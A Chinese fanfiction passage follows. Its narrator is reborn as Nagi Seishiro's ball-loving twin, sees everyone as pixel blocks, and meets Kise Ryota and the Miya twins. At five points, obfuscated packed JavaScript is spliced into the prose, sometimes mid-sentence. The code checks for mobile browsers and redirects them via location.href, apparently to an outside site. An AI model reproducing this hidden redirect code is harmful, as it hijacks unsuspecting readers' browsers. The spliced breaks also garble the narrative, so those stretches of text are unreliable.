《我真的只是喜欢球而已》
1. 拜启
拜启,另一个世界的父母。我、凪圣久郎,穿进了Minecraft(我的世界)地球Online版。
……
要说为什么的话——
“我是圣久郎,”凪圣久郎指着蹲下的像素白蘑菇说,“他是诚士郎。”
脑袋顶部是白方块的爸爸左看看右看看,为了洗澡,两个孩子都脱掉了衣服,身上也没有明显的胎记和黑痣。
分不清,根本分不清。
好在两岁的孩子性格已经有所体现,圣久郎的语气会沉着一些,诚士郎则是绵软一些。
“是这样啊,抱歉久郎,爸爸又搞错了。”凪植之至为自己认错了孩子而道歉。
“我是阿久,我洗过了。”被爸爸抱起来后,像素白蘑菇毫无反抗地挣扎着。
浴室里的暖气开得很足,男人的额头出了汗。凪植之至没有戳穿儿子,“那阿久就再洗一次吧。”
“不想洗澡。”凪诚士郎嘟囔着。
凪圣久郎给自己穿着衣服,“你可以不洗,但我不要洗两次。”
目送兄弟被爸爸带走后,凪圣久郎抬高手臂开了门,走出了浴室。
以小孩子的视角看待这个家,是有点可怕的。
他连房门的一半都没有,桌子比高他、洗手池比他高,父亲和外边的大人更是像巨人一样,总觉得他们一脚就能踢倒自己。
——他见到的所有景象,在大脑里,都是以方块的形象呈现的。
凪圣久郎一出生,以为自己这辈子是先天精神病。
还是说小孩的视觉在没发育完全前,就是这样的?
直到他掐着自己的脸,手上传来了普通的脸颊肉触感。
触觉是正常的,只是他的视觉是像素风啊,那没事了。
随着同胞白方块长大,分得清图案了,凪圣久郎指着书上的插画问他,“这是什么形状?”
凪诚士郎靠在凪圣久郎身上,一幅不想思考的模样,“和阿久看到的一样。”
得,毫无参考价值。
直到凪诚士郎在附近的小公园抓到了一个黄方块脑袋,他才确定,这个世界,大概只有自己眼中的视觉是像素风。
行吧。
但是没事哒!
凪圣久郎抱起的球,蹭了蹭它。
他已经找到了自己的缪斯!
在目之所及都是方块的世界,只有球体在凪圣久郎的眼中不是方块,拥有着圆润的、美丽的、优雅的曲线。
他和新认识的黄方块玩起了扔球游戏。
凪诚士郎一开始也参与其中,接了几个球后他的表情就变了,从O_O变成了OxO,垂着肩膀,眼巴巴地望向凪圣久郎。
凪圣久郎:一张像素脸还能做出这种表情……
凪圣久郎:“阿士你去休息吧。”
凪诚士郎走到了黑方块头的妈妈旁边。
凪优栗花正与孩子玩伴的监护人聊着天,见蔫巴的凪诚士郎走过来,笑眯眯地拍了下他的脑袋。
女人的关西腔柔和缓慢,“诚士郎累了啊,在这里等一下圣久郎好吗?”
凪诚士郎点点头,蹲下身当起了白蘑菇。
其实没有累,就是不想玩到浑身是汗。
出汗代表要洗澡。
洗澡好麻烦的。
黄蓝相间的球在两个孩子的手中来回抛接,忽然,一只大手夺走了球,吸引了两个小孩的注意。
“排球可不是这么玩的。”
凪圣久郎抬头,讲话的男人下巴处有黑方块,看来是个留胡子的中年人。
他以前没学过球,对排球也知之甚少。
“那该怎么玩?”凪圣久郎虚心求教。
“该怎么玩?” 一旁的黄方块重复道。
胡子男人把球夹在臂弯,折下腰,给孩子们示范着手型,“这是叠指法。手臂要伸直、夹紧,手掌部分不要相叠。”
说着,他又换了一个手型,“对于你们这个年龄的孩子来说,用包拳法比较好。”
“喔!”
胡子男又教了几个垫球动作,两个小孩学得有模有样。
第一次练习就能垫这么多下,他们的球感很好啊,胡子男道:“你们有兴趣学排球吗?”
在胡子男靠近的时候,两位妈妈不动声色地挪动脚步,站到了距离孩子们三米近的位置。
凪诚士郎不想动弹,继续待在原地种蘑菇。
黄濑妈妈:“凉太年龄太小了,注意力不集中,很难学进去吧。”
凪优栗花:“圣久郎倒是很喜欢球,也经常去体育馆看球赛,但要看他自己的意思。”
胡子男察觉到了什么,询问两个孩子:“你们多大了啊?”
一米一二的凪圣久郎:“三岁零五个月。”
一米零四的黄濑凉太:“我两岁?三岁……”
黄濑妈妈:“是两岁四个月哦。”
胡子男:“……”
现在的孩子,身高这么突出吗。
预测了一下,这俩小孩八成能长到一米九。
“失礼。”他向两位女士表达道歉,再怎么说,抓两三岁的小孩去练排球,过于丧心病狂了。
两位女士表示不介意,接着就孩子的年龄问题聊了起来。
凪优栗花:“圣久郎和诚士郎在五月出生,今年四月还没满三岁,所以要明年才能上幼稚园。”
黄濑妈妈:“我家孩子是六月,也要次年……不对,是后年四月才能入学。”
“哇!掉了!”
由于只有一个排球,凪圣久郎和黄濑凉太轮流垫球。
一人垫球时,另一人就在旁边看着。
凪圣久郎喜欢球,当黄濑凉太垫球时,他的目光一直没离开黄蓝色的排球。
当排球脱手,黄濑凉太下意识地惊叫出声时,凪圣久郎
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551497|171237||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一个前扑,把即将落地的排球垫了起来!
本来要离开的胡子男:“!”
虽然不算标准,可男孩前伸的左手臂、支撑重心的右手臂……是鱼跃救球的动作!
他是亲自教会两个孩子垫球的,知道这俩孩子是真正的初学者。
那个白头发的小子,天赋不得了啊!
弹起的排球不算高,黄濑凉太的手型还在,他精准地找到下落点,重新垫了排球。
胡子男扼住手腕:“!”
冷静啊他们只是孩子,不可以抓到国青队!
和黄濑凉太玩了一下午,期间,黄濑凉太也学着凪圣久郎扑地救球,两个小孩都搞得脏兮兮的。
天色渐晚,两个新朋友挥手道别,说着下次再见。
“玩得开心吗?”凪优栗花问。
“开心!”
“妈妈和凉太妈妈交换了联系方式,以后还想一起玩的话,可以和凉太约时间喽。”
“妈妈真棒!”
“哼哼~”
一直在cos白蘑菇的凪诚士郎终于动了,他拉了拉凪圣久郎的衣角,“我好累,背背我。”
妈妈爸爸采取的是他还不理解的“放任主义”,自三岁生日后,就让他们所有的事情都自己做了——包括吃饭、洗澡、穿衣服、叠被子——因为凪圣久郎做得很好,凪夫妇一时也没觉得不对劲。
凪诚士郎知道,妈妈爸爸是不会背他的。
会背他的只有阿久。
凪圣久郎没有动,“我身上都是汗,背了阿士的话,你要洗澡噢。”
自家兄弟不喜欢洗澡……或者说觉得自己洗澡很麻烦,所以生活中尽量避免出汗。
凪诚士郎的脑中出现了两排等式:
阿久背他=回去要洗澡
阿久不背他=自己走回去
两种都有不想做的麻烦事啊……
“洗澡吧。”
和阿久一起的话,阿久会把水放好,也会帮他搓背抓头发。有阿久在,他只要翻进浴缸泡一泡,再换一次衣服就好了。
和走路回家比起来,还是洗澡更轻松。
“那阿士帮我拿球。”凪圣久郎把球递给他,转身在兄弟面前蹲下,做出了背人的姿势。
凪优栗花没有插-入兄弟间的对话,她当然知道诚士郎不累,硬要找出一个形容词的话……是懒。
不过懒也是一种生活方式——只要不会懒到把自己饿死就行——她没有强行纠正儿子的性格。
凪诚士郎胳膊环住兄弟的脖子,手上抱着球,嘴里还在嘀咕,“…为什么要出门啊,好累。”
如果待在家里的话,他就不用走路,不用接球,不用洗澡了。
凪圣久郎:“阿士,没记错的话,你只接了两个球。”
凪诚士郎趴在前者的背上,眼睛一点点阖上,“是啊,我的脚都累到睡着了,根本走不动……”
2. 展信佳
展信佳,另一个世界的友人们。我、凪圣久郎,穿到了灌篮高手的世界。
……
神奈川县、平塚综合体育馆
这里正在举行篮球冬季杯的县预选赛。
凪植之至坐在靠走廊的外排,凪圣久郎和凪诚士郎坐在里面。
凪圣久郎抱着一颗圆圆的小皮球,目光灼灼地盯着场上的记分牌。
湘北VS陵南
后者他没什么印象了,但前面的那个学校名,明显是樱木花道的学校吧!
快看看赛场上有没有红方块脑袋!
凪植之至是神奈川本地人,也有过热血的青春,见凪圣久郎有兴趣,他感慨道:“爸爸还在读高中的时候,和几个极为突出的篮球队员是一届呢。”
因为登报评为过神奈川县的名人代表,凪植之至就记住了几个名字,“现在活跃的国家级队员樱木花道和流川枫,就是我们县的。”
凪圣久郎:“……”
啊?
樱木花道和流川枫已经打职业了啊。
刚刚立下的「考入湘北和大家一起拿下全国冠军!」的一腔热血瞬间冷却。
凪圣久郎不再找人,重新把注意力放在了场上被争夺的橙色篮球上。
“阿久,喜欢篮球吗?”凪植之至思索着,要不要给孩子报一个兴趣班。
顺便瞥了下双眼无神明显在发呆的凪诚士郎。
和阿久比起来,阿士除了作风懒散一点,几乎没有缺点。不挑食、不顶撞、不执拗,没什么喜欢的东西,也没什么讨厌的东西。
像一株盆栽,只要洒洒水就好了。
很好养。
作为父亲,凪植之至有时也希望凪诚士郎能顽皮一些。
……呃,不用到顽皮的地步,会主动跑跳就好了。
“喜欢。”凪圣久郎的眼睛追着球,嘴上答道。
凪植之至:“那阿久想系统性地学习篮球吗?”
一旁的凪诚士郎眼底露出「天塌了」的完蛋情绪。
爸爸把阿久去学篮球的话,为了凑对、为了方便、为了平衡、为了互相照应……反正,他们会有一万个理由把他也送去学。
凪诚士郎排斥地努努嘴,不过见到自家兄弟闪闪发亮的眼睛,到底也没说出拒绝的话。
……
不知道那日后阿久和爸爸是怎么商量的,总之父母没给他们报运动类的兴趣班。
可喜可贺。
凪诚士郎心里运用着新学的成语,在家人惊奇的目光下,多吃了半碗饭。
“…怎么了。”
妈妈爸爸还好,阿久的眼睛都快瞪出来了。
“阿士居然会添饭,第一次见到。”凪圣久郎说。
凪诚士郎饥饿感的阈值很低,他是一旦吃了两口、觉得不饿了,就不会再主动吃饭的类型。
饭点过后饿肚子是常有的事,不过家里一直有小面包小零食,他们的父母并不限制孩子们的摄入。
凪圣久郎是很乖巧的孩子,答应一天只能吃一袋饼干,就绝不会多吃一块。
凪诚士郎则是懒得吃,他对零食没有喜好,入口的食物在他看来都只是为了果腹,不饿了就不吃了。
父母不要求凪诚士郎一定要吃完碗里的饭。几次剩饭后,父母就让孩子们自己盛饭了,吃多少盛多少。
两个孩子都没有异议。
而今日多吃半碗饭的原因……凪诚士郎缓缓道:“下午走了路,累了。”
凪圣久郎一歪头,“不是我背你回来的吗?”
凪诚士郎继续找理由,“下午捡了球,好累。”
凪圣久郎顿了顿,“我知道了,下次出门会带一包小饼干。”
阿士吃完饭两小时左右就会饿,他们下午在外面玩,没有吃东西。
凪诚士郎趴在了桌上,“吃饼干好累的。”
“那带面包。”
“唔……好吧。”
……
凪圣久郎喜欢球。
这在凪家是公开的情报。
婴孩时期凪双子睡在婴儿床,大一点了是和爸爸妈妈睡。
等到凪双子三岁后,凪家的儿童房终于用上了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551498|171237||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
凪双子拥有了自己的房间。
说是“自己的房间”也不太对,因为两人是共用一间房的。
凪诚士郎知道自己兄弟很喜欢球,平日没事就会玩球、摸球,还会——
咕噜噜。
一颗球无声地在床上滚动着。
凪圣久郎把今天的陪睡球擦干净,扔到了床上。
——和球一起睡觉。
这是一颗橙色的皮球。
……好像是那天看比赛时,那些高中生——爸爸和阿久说过这个词——在打的球。
凪诚士郎用手感受了下它的大小,还好,不算长。
就是有点硬,睡着时碰到会不舒服吧。
手感最好的是大大的橡胶球,但是阿久说橡胶球只能推着坐着玩玩,不能打,也不能一手包住,就不怎么和它睡觉。
凪圣久郎先上床,睡在了里面的位置——睡在外面球容易掉。
凪诚士郎慢吞吞地爬上床,就在床沿二十厘米的地方,把脑袋搁到了枕头上。
“阿士,锁栏杆,关灯。”抱起篮球的凪圣久郎说。
埋在柔软枕头里的凪诚士郎动了动,艰难地直起半身,做完了睡前的最后一个动作。
卧室陷入了黑暗。
“阿士,晚安。”
“晚安zzz”
……
呼吸受阻……早晨醒来,凪诚士郎对着面前熟悉的布料,郁闷地眨了眨眼睛。
……他又被阿久当成球抱住了。
啊好难受,鼻子不能吸气了……
凪诚士郎想给脑袋转个方向,无奈凪圣久郎抱得很紧,左右动弹不得,他只能用力把自己的脑袋拔出来。
“唔。”
顶着乱糟糟的头发,凪诚士郎揉了揉通红的鼻头。他扫了一圈大床,把滚到边边的篮球塞回兄弟的怀里。
凪圣久郎睡得很香,凪诚士郎很羡慕。
他打了个哈欠,眼角渗出一滴泪水。
再睡个回笼觉吧zzz……
pia叽。
凪诚士郎一头栽回了被窝。
3. 见信安好
见信安好,笔友。我、凪圣久郎,穿到了排球少年的世界。
……
“这是我的!”
“我的!”
“我的才对!”
“你说谎!”
“治,松手!”
“侑,走开!”
两岁小孩的词汇量就这么点,但这不妨碍他们吵架打架。
凪圣久郎在用手臂玩滚网球,凪诚士郎坐在他旁边,电视机正在播放樱桃小丸子。沙发上的另一对双子正在抢凪圣久郎给他们的见面礼——一颗兵乓球。
宫由理绪挂着黑眼圈,“双子真不好带啊。”
什么东西都要准备两份,一个哭了另一个也会哭,在周围没有危险的时候,彼此就是对方最大的危险,无时无刻都在争执,随着年龄增大,会说的话多了,家里更是吵吵闹闹。
凪优栗花感同身受,“确实。”
工作与家庭是每个已婚人都绕不开的话题,要在两者中找到平衡点,很难。第一次当家长,她也想尽力拿到高分,不过,很多时候真的是心有余而力不足。
“哇!妈妈!侑打人!”
“你先打了我!”
“呜呜我好痛!”
“啊啊呜呜呜!”
两个小炸弹的引线被点燃了。
凪圣久郎回头看了一眼。
两个脑袋顶是黑方块的像素小人正在啊哇乱叫,眼睛眯成了一条缝,他看不清有没有眼泪,不知道表弟们是闭眼干嚎还是真哭得天崩地裂。
旁边贴过来一株白蘑菇。
“阿久,你也要哭吗?”
凪圣久郎转头。
白蘑菇兄弟纠结了一会,抬手摸了摸他的头,声线软绵绵的,“阿久不哭哦。”
“我没哭。”
“你眼睛红了。”
“这是生理反应。”
即使不太会说话,孩童仍有着读取同伴情绪的能力,悲伤、哭泣极具传染力,会把表现正常的孩子也惹哭。
简单来说,这是一种生物的报警机制,多数孩子一起哭,可以更快地吸引大人前来帮忙。
就是这么个道理,凪圣久郎不会因为孩童的本能而羞耻。
绝不是一下见到排球少年的宫双子才惊慌失措、太过紧张的想哭。
“哦。”
凪诚士郎不太懂,阿久知道的东西好多。比如父母说的“放任主义”是什么意思,由理绪阿姨和黄濑阿姨是不一样的,前者是妈妈的双子姐妹……
啊,想这么多事情好累的。凪诚士郎撇撇嘴,酝酿了一下情绪,“阿久要哭的话,我也哭。”
凪圣久郎:“……你哭吧,我不哭。”
一个成熟的灵魂可以控制眼泪。
凪诚士郎:“那我也不哭。”
说完,他吸了一下鼻子。
“哭啊!”三岁半的小孩哭一下怎么了?阿士被宫双子的哭声感染很正常啊。
“可是阿久不哭…”
“我陪你哭?”
“果然,阿久想哭。”
“……我没有。”
在凪双子讨论到底要不要哭的时候,宫由理绪已经把双子哄好了。
她牵着两个孩子的手来到客厅中央,“侑、治,向哥哥们打个招呼。”
此次凪夫妇带着两个孩子拜访宫由理绪——她和凪优栗花也是双子,只是两人长大后装扮和发型大为不同,熟人一眼就能认出来。
在来的路上,凪圣久郎听凪优栗花说过由理绪的事,过几天就是姐妹孩子的两周岁生日。
凪圣久郎口袋里只有一个网球和一个兵乓球,思考了一路,他选择把兵乓球送给表弟们做礼物。
嗯,一个球,送两个孩子。
凪圣久郎想的很周到:网球表面很硬的,要是表弟们玩躲避球游戏,砸到身上会痛。
还是乒乓球适合。
结果宫侑和宫治吵起来了。
凪圣久郎想劝劝架,但被宫由理绪抱到了客厅看电视。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551499|171237||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
现在,宫双子冷静下来了,他们要正式认识了。
“我是治。”一个黑色小方块说。
“我是侑。”另一个黑色小方块说。
凪圣久郎玩起了找不同,“我是凪圣久郎。”
白蘑菇有气无力,“诚士郎…”
宫由理绪提醒道:“治,侑,要叫哥哥哦。”
“哪个是哥哥?”
“两个都是。”
“哥哥是什么?”
“哥哥是年龄比你大的男孩子。”
“爸爸是哥哥吗?”
“…不是。”
“那我和治谁是哥哥?”
“这个……”
“一定是我吧!治是哥哥!”
“胡说!侑是哥哥!”
宫双子第二轮战斗即将开始。
宫由理绪心累地叹了一口气。
凪优栗花倒是很新奇,“你的孩子…好活泼啊。”
“嗯?诚士郎和圣久郎不吵架吗!”
“不,他们从没吵过架。”偶尔有分歧,也是很有逻辑地讨论。
宫由理绪受到了冲击,“……怎么可能?”
“真的哦。”
“为什么?优栗花你怎么教导的!”
“我也没做什么……可能圣久郎和诚士郎是和平主义者吧。”
白蘑菇把大半的重量压在兄弟身上,“和平主义者是什么?”
“爱好和平的人。”
“和平又是什么?”
凪圣久郎看了眼又开始挥舞拳头的宫双子,“不找事、不争吵、不打架、不发火的人吧。”
凪诚士郎似懂非懂,“我是和平。”
“该说和平主义者。”
“和平主义者。”白蘑菇学会了一个新词。
“连起来说。”
“我是和平主义者。” 凪诚士郎的脑袋搁到了兄弟的肩膀上。
凪圣久郎抚上兄弟的头,“阿士真棒。”
4. 诸君贵安哟
贵安哟,诸君!我、凪圣久郎,多了两个未来会打排球的弟弟。
……
宫双子又和好了。
宫治和宫侑翻着自己的玩具箱,取出插画本、小汽车、怪兽模型、恐龙娃娃……
“车车!”宫治玩起了红色的消防车。
“看,是嘎嗷嘎嗷!”宫侑举起了一只小怪兽。
宫双子秉着做主人的意思,客气了一下,“你们玩什么?”
凪圣久郎看向角落里的皮球,“玩球吧。”
宫治和宫侑对视一眼。
“玩球?”
“球!”
三人兴冲冲地开始了抛接球游戏。
凪诚士郎趴在地毯上,旋转着身体,滚到了沙发后面。
看不见我看不见我……
“只有一个?”
“一个!”
“少了一个?”
“哥哥!”
宫双子放下球,准备找人。
凪诚士郎抖了一下。这个沙发底的高度,应该可以钻进去……
凪圣久郎叫住宫双子,“阿士坐车累了,需要休息。”
“他在哪?”
“在床上吧。”
“床上?”
“是休息吗?”
“他睡觉了吗?”
“困了就要睡觉。”
“治困吗?”
“玩球?玩球!”
“来吧,睡觉!”
“我不困,来玩!”
宫双子两个人比凪家四个人还要吵上数倍。
凪诚士郎捂住耳朵,没错,他困了,他要睡觉……
十月份是宫双子的生日,凪家四口来到兵库,是为了给宫侑宫治庆生。
至于一周岁生日为什么没来……那时候的凪双子两岁半,两边的孩子都很小,宫夫妇不敢想象家里四个小魔头会是怎样的地狱。
“圣久郎,诚士郎,你们觉得给弟弟送什么礼物好?”
午饭过后,凪优栗花问自己的两个孩子。
玩累了的宫双子被宫由理绪带上楼睡午觉,凪植之至在收拾餐桌,客厅终于恢复了些许的安静。
这题凪圣久郎会,“球,排球。”
凪诚士郎饭前小睡了一会,现在不困,“…同意。”
“排球啊,”凪优栗花没有忽视儿子的童言建议,“我们等下去体育商场看看吧。”
来到姐妹家,她确实给孩子们准备了见面礼,但一码归一码,生日礼物还是要另选的。
凪圣久郎没有带大球,唯二的兵乓球又送给了宫双子,于是凪优栗花买了三个排球。
“阿士不要吗?”
凪诚士郎的脑袋摇成了拨浪鼓。
两个当作礼物的排球被暂时放在了后备箱,凪圣久郎抱着自己的新排球回到了宫家。
宫双子和父母睡在大卧室,凪夫妇睡在客房,凪双子占据了宫双子未来的房间。
午睡到一半,凪诚士郎睁眼。
他又被兄弟抱住了。
耳边环绕着新弟弟们的叫喊,枕头的位置被一颗三色排球霸占了。
好在这次是后脑勺贴着兄弟的胸口,不会窒息。
就是楼下的声音……
“治用球砸我!”
“我没有,我很轻的。”
“但是砸到我身上了!”
“那是侑没接好,侑笨!”
“侑才不笨!治笨!治坏!”
“侑就是笨!侑全家都笨!”
……好吵。
凪诚士郎翻了半个身,彻底挤开了排球。
耳朵一边贴着床铺,一边埋在兄弟的前襟,白蘑菇拱进凪圣久郎的怀里。
人为什么要长耳朵……没有耳朵的话睡觉就不会被吵醒了zzz
……
凪家在宫家住了三天,最后一天正是宫双子的生日。
三天时间,凪圣久郎用排球征服了新弟弟们。
“好帅!”
“好酷!”
宫双子眼睛亮亮地追着新哥哥手中的三色球。
在收到来自哥哥的生日礼物——两颗排球时,宫双子对新哥哥的敬意达到了满值!
“啪!”
次年五月的黄金周假期,两岁半的宫双子来到神奈川,给凪双子庆祝四岁生日。
“看我,阿久!”一个小黑方块抱着球抛起,然后双手交握,把球垫到了凪圣久郎的方向。
凪圣久郎下意识地接球。
三色球被弹了出去,另一双盯紧球的眼睛捕捉到它的轨迹,贴臂下压,双膝下沉,稳稳地垫起了球。
“治,接得好!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551500|171237||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>三个孩子站成了三角形的位置,在同龄小孩只会扔接球的时候,他们已经会用手臂垫球啦。
凪圣久郎分不清两个一模一样的小黑方块,但只要让他们多说几句话,宫侑宫治就会把对方的名字喊出来。
三人玩得聚精会神,宫由理绪悄悄来到了凪诚士郎的身边,蹲下,“阿士不和弟弟们一起玩吗?”
凪诚士郎:“…嗯。”
凪夫妇熟知两个儿子的性格——凪圣久郎天生好动爱玩球,凪诚士郎天生懒散爱睡觉——他们没做什么干预,反倒是经常见到小孩子团体问题的宫由理绪起了担忧之情。
晚饭时,她拉着两个儿子私语了一会,于是饭后,宫侑宫治跑到了白衣服的凪诚士郎面前,一人抓住他的一条胳膊。
宫治:“阿士,来玩吧!”
宫侑:“走!去公园玩球!”
在玄关换鞋子的凪圣久郎:“诶,阿士一起吗?太好了!”
本来打算拒绝的凪诚士郎:“唔,就今天一次。”
然后整个黄金周都被宫双子拽出去玩,连睡前都要在房间里来回垫球。
五月五日是男孩节,四个孩子换上了小和服。
凪夫妇不停拍照,“好可爱!”
宫夫妇连连点头,“是啊等等,侑,不要扯治的头盔!”
小孩子长得很快,两岁半的宫双子能穿表兄以前的武士服装。
照片留存在了父母各自为孩子组建的实体相册。
等假期结束,宫双子终于回兵库后,凪诚士郎安详地躺在了客厅的地毯上。
“啊…死掉了……”
“阿士辛苦啦。”凪圣久郎好好夸奖了兄弟一番。
“……以后不要了。”
要是每次宫双子来家里,他都得这样陪玩的话,自己迟早会变成背后带翅膀升上天国的老爷爷。
“治和侑是弟弟,阿士作为哥哥要有担当啊。”
做哥哥是这么累的事情吗…
他不要做哥哥了……
可是不行,治和侑确实比他小。
凪诚士郎抬起眼皮,声音像晒过太阳的被子,蓬松软绵,“…阿久做阿士的哥哥好不好?”
“……”凪圣久郎俯视着失去水分而差点枯萎的白蘑菇。
半晌,他眨了眨眼。
“好。”
5. 你好!有缘人
你好!正在看这行文字的有缘人。我、凪圣久郎,穿进了篮子黑球的世界。
……
四月,快五岁的凪双子开启了第二年的幼稚园生涯。
每天到校后,幼稚园会点名,上午教一些简单易懂的趣味知识。中午吃饭、午睡。下午到游乐区,全园的小朋友一起玩。接着老师以吃点心的诱惑把小朋友们召回来,整理好今日物品,准备放学。
凪圣久郎不和小朋友们玩过家家、堆沙子、鬼捉人的游戏,他都是抱着球,一个人在角落垫垫踢踢丢丢颠颠。
凪诚士郎则打着哈欠,在兄弟旁边的空地晒太阳。
脚背顶着网球,像对待毽子一样把球踢到两米高,接着绷紧小腿,以颠足球的方法颠起了网球。
不是没有小朋友想和凪双子玩,只是凪诚士郎对需要动弹身体的游戏没兴趣,凪圣久郎又只愿意玩球……
加入的同学是真正的小孩,两三岁的凪圣久郎还受限于孩童身体,能配合孩子们一起玩。但快五岁的凪圣久郎再和同学们玩,就是真的需要放水再放水了。
所以和同学们玩了几次后,凪圣久郎默默退出了小团队,寻着一块偏僻的角落自己玩。
新学年第一日,本该是快乐玩网球的一天。
“啊!是圣久郎!”
凪双子同姓,老师和同学都是直接叫他们名字的。
这个声音不像班里的小孩啊,隔壁班的?
凪圣久郎踢高网球,用脑袋顶起,转过身。
一个小黄方块跑了过来,他挥着双手,看起来很是激动。
……谁啊?
趴着晒太阳的凪诚士郎掀了下眼皮,没动。
是那家伙啊。
待小黄方块走进,他也没自我介绍,像素脸上咧出了大白牙,“圣久郎好久不见,诚士郎也是!”
凪圣久郎瞄了眼小黄方块胸口的姓名牌。
看人和物是像素风,文字倒是能正常阅读。
有星露谷的感觉了。
小黄方块的名字是——
きせ りょうた
(kiseryouta)
——黄濑凉太。
“……”
“?”
“!”
“。”
“黄濑…凉太。”
小黄濑点了一个大大的头,“嗯呐!是我哒!”
说不清是重生、穿越还是转生,凪圣久郎对上辈子的印象越来越模糊。在意识到这个世界有打篮球的樱木花道和打排球的宫双子后,凪圣久郎让脑细胞都回忆了个遍,搜刮出了所有番剧的残留信息。
这个年纪没有手机,他又不可能写日记,只能每天多多回忆加深印象。
多多益善嘛。
现在,他的记忆对黄濑凉太的名字有了反应。
这不就是蓝子的篮球里的角色吗!
“……”呃,是这个番名吗?算了,别在意细节。
重点是眼前的黄色小方块,是个……啊,他只复习了重点人物的名字,至于黄濑凉太的其他信息,凪圣久郎忘得差不多了。
不要高看幼崽大脑的记忆力。
黄濑凉太,是个打篮球的。八成。
球打得挺不错的。大概。
凪圣久郎把停在脑门上的网球拿下来,“玩球吗?”
小黄濑还不太会看人脸色……或者说在他的记忆里,圣久郎和诚士郎一直都是这副平静脸,他已经习惯了。
“玩!”小黄濑大声道。
然后两
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551501|171237||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个小孩带着网球去投幼稚园的儿童篮筐了。
“……”
凪诚士郎翻了个身,仰面躺着,用手掌遮住天空中垂下的阳光。
要跟着阿久过去吗?
好麻烦……
这里还很暖和。
篮筐那边太多人了。
很吵。
会被搭话。
会被拉着凑数一起玩。
老师和同学都叽叽喳喳的。
社交很费力气的……
白蘑菇扭动着身体,磨磨蹭蹭地支起了上身,他垂着眼帘,没有看篮筐那边,默默把脚踩上地面。
……过去吧。
“阿士走得动吗?”
啊。
凪诚士郎懵懵地抬头,见自己兄弟正站在他面前。
两兄弟的衣服颜色是相反的,爱玩的凪圣久郎是黑衣,懒散的凪圣久郎是白衣——款式是一样的。
黑衣服的白发男孩指着篮筐的不远处,“我问老师要了两把小椅子,阿士可以睡在那里,现在去吗?”
“……去。”
凪圣久郎“嗯”了一声,表示明白,正当他要迈步离开时,凪诚士郎伸出了手,仰望着他,“要抱。”
“诶,阿士刚才明明打算自己走的吧。”
“太阳把脚脚晒化啦,一步都走不了啦……”
“这样啊。”
凪圣久郎弯腰,双手穿过白蘑菇的腋下,把人抱起,“那阿士去阴凉处休息一下,让脚凝固起来,放学要自己走哦。”
凪诚士郎不明白“凝固”的意思,但他猜是水变成冰的过程形容,凝固之后,他化成水的脚脚就能变成正常走路的脚脚了。
树獭一样贴在兄弟身上,凪诚士郎答应道:“好~”
6. 早上好!
大家早上好!我、凪圣久郎,从苦读了四年的幼稚园毕业,下个月就要攻读小学啦。
……
在小学生涯前的最后一个春假,凪圣久郎、黄濑凉太两人一合计,来了场说跑就跑的追球游戏——凪诚士郎作为挂件参与。
知道了黄濑凉太属于篮球番,凪圣久郎每天在幼稚园都和黄濑凉太玩篮球。
抛球、垫球、颠球、投球的那种全方面玩耍。
今天也是,他们踢着篮球,从小路一直往南。
“这个地方,我们好像来过?”篮球正在凪圣久郎脚下,黄濑凉太打量起周围的景致。
凪诚士郎没加入踢球的队伍,可前行的路还是要自己走的。
加上黄濑凉太和凪圣久郎运球——该叫盘带——的速度不慢,他得小跑才能跟上。
啊,好麻烦、好累人,待在家不好吗……
听见黄濑凉太疑问的凪圣久郎瞄了眼街道,“嗯,是幼稚园组织看大佛那次。”
